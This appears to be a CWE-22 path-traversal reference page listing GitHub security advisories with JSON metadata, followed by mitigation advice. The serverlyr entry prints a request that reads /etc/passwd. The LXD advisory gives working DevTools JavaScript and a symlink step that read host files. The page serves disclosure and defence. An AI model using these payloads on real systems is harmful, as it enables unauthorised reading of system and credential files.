CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13488 vulnerabilities reference this CWE, most recent first.
GHSA-46MC-XP8V-MRP8
Vulnerability from github – Published: 2022-05-13 01:36 – Updated: 2022-05-13 01:36Leao Consultoria e Desenvolvimento de Sistemas (LCDS) LTDA ME LAquis SCADA software versions prior to version 4.1.0.3237 do not neutralize external input to ensure that users are not calling for absolute path sequences outside of their privilege level.
{
"affected": [],
"aliases": [
"CVE-2017-6020"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-04-17T14:29:00Z",
"severity": "MODERATE"
},
"details": "Leao Consultoria e Desenvolvimento de Sistemas (LCDS) LTDA ME LAquis SCADA software versions prior to version 4.1.0.3237 do not neutralize external input to ensure that users are not calling for absolute path sequences outside of their privilege level.",
"id": "GHSA-46mc-xp8v-mrp8",
"modified": "2022-05-13T01:36:36Z",
"published": "2022-05-13T01:36:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6020"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-17-082-01"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/42885"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/97055"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-46P9-P299-PR9P
Vulnerability from github – Published: 2026-07-01 18:31 – Updated: 2026-07-01 18:31A vulnerability in Cisco Catalyst Center could allow an unauthenticated, remote attacker to read arbitrary files from a restricted container.
This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to read arbitrary files from a restricted container of the affected device.
{
"affected": [],
"aliases": [
"CVE-2026-20191"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-01T17:16:29Z",
"severity": "HIGH"
},
"details": "A vulnerability in Cisco Catalyst Center could allow an unauthenticated, remote attacker to read arbitrary files from a restricted container.\u0026nbsp;\n\nThis vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to read arbitrary files from a restricted container of the affected device.",
"id": "GHSA-46p9-p299-pr9p",
"modified": "2026-07-01T18:31:51Z",
"published": "2026-07-01T18:31:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20191"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-catc-file-read-wLH2vf8X"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-46Q2-93HM-52P5
Vulnerability from github – Published: 2020-09-01 16:53 – Updated: 2023-09-11 20:33Affected versions of serverlyr resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.
Example request:
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo
Recommendation
No patch is available for this vulnerability.
It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "serverlyr"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-16089"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2020-08-31T18:20:34Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Affected versions of `serverlyr` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.",
"id": "GHSA-46q2-93hm-52p5",
"modified": "2023-09-11T20:33:10Z",
"published": "2020-09-01T16:53:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16089"
},
{
"type": "WEB",
"url": "https://github.com/JacksonGL/NPM-Vuln-PoC/tree/master/directory-traversal/serverlyr"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/365"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Directory Traversal in serverlyr"
}
GHSA-46QX-XF9F-62GX
Vulnerability from github – Published: 2022-12-14 18:30 – Updated: 2025-04-22 18:31A path traversal vulnerability was identified in GitHub Enterprise Server that allowed remote code execution when building a GitHub Pages site. To exploit this vulnerability, an attacker would need permission to create and build a GitHub Pages site on the instance. This vulnerability was fixed in versions 3.3.17, 3.4.12, 3.5.9, 3.6.5 and 3.7.2. This vulnerability was reported via the GitHub Bug Bounty program.
{
"affected": [],
"aliases": [
"CVE-2022-46256"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-14T18:15:00Z",
"severity": "HIGH"
},
"details": "A path traversal vulnerability was identified in GitHub Enterprise Server that allowed remote code execution when building a GitHub Pages site. To exploit this vulnerability, an attacker would need permission to create and build a GitHub Pages site on the instance. This vulnerability was fixed in versions 3.3.17, 3.4.12, 3.5.9, 3.6.5 and 3.7.2. This vulnerability was reported via the GitHub Bug Bounty program.",
"id": "GHSA-46qx-xf9f-62gx",
"modified": "2025-04-22T18:31:59Z",
"published": "2022-12-14T18:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46256"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server%403.3/admin/release-notes#3.3.17"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server%403.4/admin/release-notes#3.4.12"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server%403.5/admin/release-notes#3.5.9"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server%403.6/admin/release-notes#3.6.5"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server%403.7/admin/release-notes#3.7.2"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.3/admin/release-notes#3.3.17"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.4/admin/release-notes#3.4.12"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.5/admin/release-notes#3.5.9"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.6/admin/release-notes#3.6.5"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.7/admin/release-notes#3.7.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-46VH-339R-H4RG
Vulnerability from github – Published: 2022-05-14 02:58 – Updated: 2022-05-14 02:58perl-archive-zip is vulnerable to a directory traversal in Archive::Zip. It was found that the Archive::Zip module did not properly sanitize paths while extracting zip files. An attacker able to provide a specially crafted archive for processing could use this flaw to write or overwrite arbitrary files in the context of the perl interpreter.
{
"affected": [],
"aliases": [
"CVE-2018-10860"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-29T19:29:00Z",
"severity": "HIGH"
},
"details": "perl-archive-zip is vulnerable to a directory traversal in Archive::Zip. It was found that the Archive::Zip module did not properly sanitize paths while extracting zip files. An attacker able to provide a specially crafted archive for processing could use this flaw to write or overwrite arbitrary files in the context of the perl interpreter.",
"id": "GHSA-46vh-339r-h4rg",
"modified": "2022-05-14T02:58:24Z",
"published": "2022-05-14T02:58:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10860"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10860"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/07/msg00032.html"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3703-1"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3703-2"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2018/dsa-4300"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/104580"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-46VM-9FRM-7GGH
Vulnerability from github – Published: 2022-05-17 02:27 – Updated: 2022-05-17 02:27kittoframework kitto 0.5.1 is vulnerable to directory traversal in the router resulting in remote code execution
{
"affected": [],
"aliases": [
"CVE-2017-1000062"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-07-17T13:18:00Z",
"severity": "HIGH"
},
"details": "kittoframework kitto 0.5.1 is vulnerable to directory traversal in the router resulting in remote code execution",
"id": "GHSA-46vm-9frm-7ggh",
"modified": "2022-05-17T02:27:47Z",
"published": "2022-05-17T02:27:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1000062"
},
{
"type": "WEB",
"url": "https://elixirforum.com/t/kitto-a-framework-for-interactive-dashboards/2089/13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-46X4-M2V6-XG6W
Vulnerability from github – Published: 2024-05-17 09:31 – Updated: 2024-05-17 09:31Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), Improper Control of Generation of Code ('Code Injection') vulnerability in PluginUS HUSKY – Products Filter for WooCommerce (formerly WOOF) allows Using Malicious Files, Code Inclusion.This issue affects HUSKY – Products Filter for WooCommerce (formerly WOOF): from n/a through 1.3.5.2.
{
"affected": [],
"aliases": [
"CVE-2024-32680"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-17T09:15:38Z",
"severity": "HIGH"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027), Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability in PluginUS HUSKY \u2013 Products Filter for WooCommerce (formerly WOOF) allows Using Malicious Files, Code Inclusion.This issue affects HUSKY \u2013 Products Filter for WooCommerce (formerly WOOF): from n/a through 1.3.5.2.",
"id": "GHSA-46x4-m2v6-xg6w",
"modified": "2024-05-17T09:31:02Z",
"published": "2024-05-17T09:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32680"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/woocommerce-products-filter/wordpress-husky-plugin-1-3-5-2-remote-code-execution-rce-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-472F-VMF2-PR3H
Vulnerability from github – Published: 2025-10-02 21:15 – Updated: 2025-11-05 22:03Impact
Although outside the scope of this penetration test, a path traversal vulnerability exists in the validLogFileName function that validates log file names in lxd/instance_logs.go in the LXD 5.0 LTS series.
This vulnerability was fixed in PR #15022 in February 2025, and is fixed in at least LXD 5.21 and later. However, this PR appears to be primarily aimed at code improvement rather than vulnerability fixing, with the vulnerability being fixed as a side effect. Therefore, no CVE number has been issued, and no security patch has been made for LXD 5.0 and earlier.
However, since LXD 5.0 LTS is still in its support period and installation procedures are explained in official documentation, we judge that environments affected by this vulnerability likely exist and report it.
Implementation in vulnerable versions (LXD 5.0 LTS series):
https://github.com/canonical/lxd/blob/1f8c9f77782784900960bb3b8577c1491db59277/lxd/instance_logs.go#L152-L163
This function allows filenames starting with snapshot_ or migration_, but lacks sufficient validation for the portion after the prefix, enabling path traversal attacks. The fixed version is as follows:
Implementation in fixed versions (LXD 5.21 and later):
https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L665-L679
https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/shared/util.go#L833-L835
This function ensures that filenames do not contain /, \, or .. .
Note that in Linux generally, path traversal like /not_exist_folder/../exist_folder/ is rejected within system calls and doesn't succeed.
However, in this case, the attack succeeds because URL normalization by golang's filepath.Join is performed beforehand.
Related part of instanceLogGet function:
https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L218-L269
Related part of instanceLogDelete function:
https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L331-L347
In the fixed version, filenames containing path traversal strings are rejected at the validLogFileName stage through pre-checking by shared.IsFileName.
Reproduction Steps
All reproduction steps for this finding must be performed on LXD 5.0.
- Log in with an account having access to LXD-UI
- Open browser DevTools and execute the following JavaScript to attempt path traversal attack:
(async () => {
const projectName = prompt("Enter target project name:");
const instanceName = prompt("Enter target instance
name:");
const maliciousLogFile =
encodeURIComponent('snapshot_../../../../../../../../../../etc
/passwd');
const response = await
fetch(`/1.0/instances/${instanceName}/logs/${maliciousLogFile}
?project=${projectName}`, {
method: 'GET',
credentials: 'include'
});
const content = await response.text();
console.log(content);
})();
Description (2)
A similar issue also exists in the validExecOutputFileName function:
https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L681-L688
For exec-output, since a suffix is specified, it appears that arbitrary files cannot be specified. However, if an attacker has command execution privileges within a container, they can create a symbolic link that satisfies the suffix condition within the container and have the LXD host access it to perform the attack.
Reproduction Steps (2)
- Open terminal in instance using LXD-UI and create symbolic link:
ln -s /etc/passwd exec_XXX-symlink.stdout
- Execute the following JavaScript in browser DevTools to read files via symbolic link:
(async () => {
const projectName = prompt("Enter target project name:");
const instanceName = prompt("Enter target instance
name:");
const maliciousExecFile =
encodeURIComponent(`exec_../../../../../../../../../../../var/
snap/lxd/common/lxd/storage-pools/${projectName}/containers/${
instanceName}/rootfs/root/exec_XXX-symlink.stdout`);
const response = await
fetch(`/1.0/instances/${instanceName}/logs/exec-output/${malic
iousExecFile}?project=${projectName}`, {
method: 'GET',
credentials: 'include'
});
const content = await response.text();
console.log(content);
})();
This technique allows attackers with command execution privileges within a container to create symbolic links and attempt access to the host filesystem.
Risk
This vulnerability exists in the LXD 5.0 LTS series, which appears to remain in widespread use, and if attackers have access to arbitrary projects and instances, they can read arbitrary files on the LXD host.
This could lead to leakage of the following information: - LXD host configuration files (/etc/passwd, /etc/shadow, etc.) - LXD database files (containing information about all projects and instances) - Configuration files and data of other instances - Sensitive information on the host system
Countermeasures
Since this vulnerability has already been fixed, the primary countermeasures are providing information to users running older versions of LXD and, if possible, backporting to other LTS versions:
Patches
| LXD Series | Status |
|---|---|
| 6 | Fixed in LXD 6.5 |
| 5.21 | Fixed in LXD 5.21.4 |
| 5.0 | Ignored - Not critical |
| 4.0 | Ignored - Not critical |
References
Reported by GMO Flatt Security Inc.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/canonical/lxd"
},
"ranges": [
{
"events": [
{
"introduced": "4.0"
},
{
"fixed": "5.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/canonical/lxd"
},
"ranges": [
{
"events": [
{
"introduced": "6.0"
},
{
"fixed": "6.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/canonical/lxd"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0-20200331193331-03aab09f5b5c"
},
{
"fixed": "0.0.0-20250224180022-ec09b24179f3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54293"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-02T21:15:53Z",
"nvd_published_at": "2025-10-02T11:15:30Z",
"severity": "HIGH"
},
"details": "### Impact\nAlthough outside the scope of this penetration test, a path traversal vulnerability exists in the validLogFileName function that validates log file names in lxd/instance_logs.go in the LXD 5.0 LTS series.\n\nThis vulnerability was fixed in PR #15022 in February 2025, and is fixed in at least LXD 5.21 and later. However, this PR appears to be primarily aimed at code improvement rather than vulnerability fixing, with the vulnerability being fixed as a side effect. Therefore, no CVE number has been issued, and no security patch has been made for LXD 5.0 and earlier. \n\nHowever, since LXD 5.0 LTS is still in its support period and installation procedures are explained in official documentation, we judge that environments affected by this vulnerability likely exist and report it.\n\nImplementation in vulnerable versions (LXD 5.0 LTS series):\n\nhttps://github.com/canonical/lxd/blob/1f8c9f77782784900960bb3b8577c1491db59277/lxd/instance_logs.go#L152-L163\n\nThis function allows filenames starting with snapshot_ or migration_, but lacks sufficient validation for the portion after the prefix, enabling path traversal attacks. The fixed version is as follows:\n\nImplementation in fixed versions (LXD 5.21 and later):\n\nhttps://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L665-L679\n\nhttps://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/shared/util.go#L833-L835\n\nThis function ensures that filenames do not contain /, \\, or .. .\n\nNote that in Linux generally, path traversal like /not_exist_folder/../exist_folder/ is rejected within system calls and doesn\u0027t\nsucceed. \n\nHowever, in this case, the attack succeeds because URL normalization by golang\u0027s filepath.Join is performed beforehand.\n\nRelated part of instanceLogGet function:\n\nhttps://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L218-L269\n\nRelated part of instanceLogDelete function:\n\nhttps://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L331-L347\n\nIn the fixed version, filenames containing path traversal strings are rejected at the validLogFileName stage through pre-checking by shared.IsFileName.\n\n### Reproduction Steps\n\nAll reproduction steps for this finding must be performed on LXD 5.0.\n\n1. Log in with an account having access to LXD-UI\n2. Open browser DevTools and execute the following JavaScript to attempt path traversal\nattack:\n\n```js\n(async () =\u003e {\nconst projectName = prompt(\"Enter target project name:\");\nconst instanceName = prompt(\"Enter target instance\nname:\");\nconst maliciousLogFile =\nencodeURIComponent(\u0027snapshot_../../../../../../../../../../etc\n/passwd\u0027);\nconst response = await\nfetch(`/1.0/instances/${instanceName}/logs/${maliciousLogFile}\n?project=${projectName}`, {\nmethod: \u0027GET\u0027,\ncredentials: \u0027include\u0027\n});\nconst content = await response.text();\nconsole.log(content);\n})();\n```\n\n### Description (2)\nA similar issue also exists in the validExecOutputFileName function:\n\nhttps://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L681-L688\n\nFor exec-output, since a suffix is specified, it appears that arbitrary files cannot be specified.\nHowever, if an attacker has command execution privileges within a container, they can create a symbolic link that satisfies the suffix condition within the container and have the LXD host access it to perform the attack.\n\n### Reproduction Steps (2)\n\n1. Open terminal in instance using LXD-UI and create symbolic link:\n\n```\nln -s /etc/passwd exec_XXX-symlink.stdout\n```\n\n2. Execute the following JavaScript in browser DevTools to read files via symbolic link:\n\n```js\n(async () =\u003e {\nconst projectName = prompt(\"Enter target project name:\");\nconst instanceName = prompt(\"Enter target instance\nname:\");\nconst maliciousExecFile =\nencodeURIComponent(`exec_../../../../../../../../../../../var/\nsnap/lxd/common/lxd/storage-pools/${projectName}/containers/${\ninstanceName}/rootfs/root/exec_XXX-symlink.stdout`);\nconst response = await\nfetch(`/1.0/instances/${instanceName}/logs/exec-output/${malic\niousExecFile}?project=${projectName}`, {\nmethod: \u0027GET\u0027,\ncredentials: \u0027include\u0027\n});\nconst content = await response.text();\nconsole.log(content);\n})();\n```\n\nThis technique allows attackers with command execution privileges within a container to create symbolic links and attempt access to the host filesystem.\n\n### Risk\nThis vulnerability exists in the LXD 5.0 LTS series, which appears to remain in widespread use, and if attackers have access to arbitrary projects and instances, they can read arbitrary files on the LXD host. \n\nThis could lead to leakage of the following information:\n-\u200b LXD host configuration files (/etc/passwd, /etc/shadow, etc.)\n-\u200b LXD database files (containing information about all projects and instances)\n-\u200b Configuration files and data of other instances\n-\u200b Sensitive information on the host system\n\n### Countermeasures\nSince this vulnerability has already been fixed, the primary countermeasures are providing information to users running older versions of LXD and, if possible, backporting to other LTS versions:\n\n### Patches\n\n| LXD Series | Status |\n| ------------- | ------------- |\n| 6 | Fixed in LXD 6.5 |\n| 5.21 | Fixed in LXD 5.21.4 |\n| 5.0 | Ignored - Not critical |\n| 4.0 | Ignored - Not critical |\n\n### References\nReported by GMO Flatt Security Inc.",
"id": "GHSA-472f-vmf2-pr3h",
"modified": "2025-11-05T22:03:11Z",
"published": "2025-10-02T21:15:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/security/advisories/GHSA-472f-vmf2-pr3h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54293"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/pull/15022"
},
{
"type": "PACKAGE",
"url": "https://github.com/canonical/lxd"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-4000"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Canonical LXD Path Traversal Vulnerability in Instance Log File Retrieval Function"
}
GHSA-472V-J2G4-G9H2
Vulnerability from github – Published: 2026-03-16 18:11 – Updated: 2026-03-16 21:57The AssetsController->replaceFile() method has a targetFilename body parameter that is used unsanitized in a deleteFile() call before Assets::prepareAssetName() is applied on save. This allows an authenticated user with replaceFiles permission to delete arbitrary files within the same filesystem root by injecting ../ path traversal sequences into the filename.
This could allow an authenticated user with replaceFiles permission on one volume to delete files in other folders/volumes that share the same filesystem root.
This only affects local filesystems.
Users should update to Craft 4.17.5 or 5.9.11 to mitigate the issue.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.4"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.17.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.9.10"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.9.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32262"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T18:11:49Z",
"nvd_published_at": "2026-03-16T20:16:19Z",
"severity": "MODERATE"
},
"details": "The `AssetsController-\u003ereplaceFile()` method has a `targetFilename` body parameter that is used unsanitized in a `deleteFile()` call before `Assets::prepareAssetName()` is applied on save. This allows an authenticated user with `replaceFiles` permission to delete arbitrary files within the same filesystem root by injecting `../` path traversal sequences into the filename.\n\nThis could allow an authenticated user with `replaceFiles` permission on one volume to delete files in other folders/volumes that share the same filesystem root.\n\nThis only affects local filesystems.\n\nUsers should update to Craft 4.17.5 or 5.9.11 to mitigate the issue.",
"id": "GHSA-472v-j2g4-g9h2",
"modified": "2026-03-16T21:57:24Z",
"published": "2026-03-16T18:11:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-472v-j2g4-g9h2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32262"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/c997efbe4c66c14092714233aeebff15cdbfcf11"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS has a Path Traversal Vulnerability in AssetsController"
}
GHSA-4735-FM85-PM92
Vulnerability from github – Published: 2022-05-01 23:59 – Updated: 2022-05-01 23:59Directory traversal vulnerability in libraries/general.init.php in Minishowcase Image Gallery 09b136, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the lang parameter.
{
"affected": [],
"aliases": [
"CVE-2008-3390"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-07-31T16:41:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in libraries/general.init.php in Minishowcase Image Gallery 09b136, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the lang parameter.",
"id": "GHSA-4735-fm85-pm92",
"modified": "2022-05-01T23:59:44Z",
"published": "2022-05-01T23:59:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3390"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/44046"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/6156"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/4080"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/494864/100/0/threaded"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
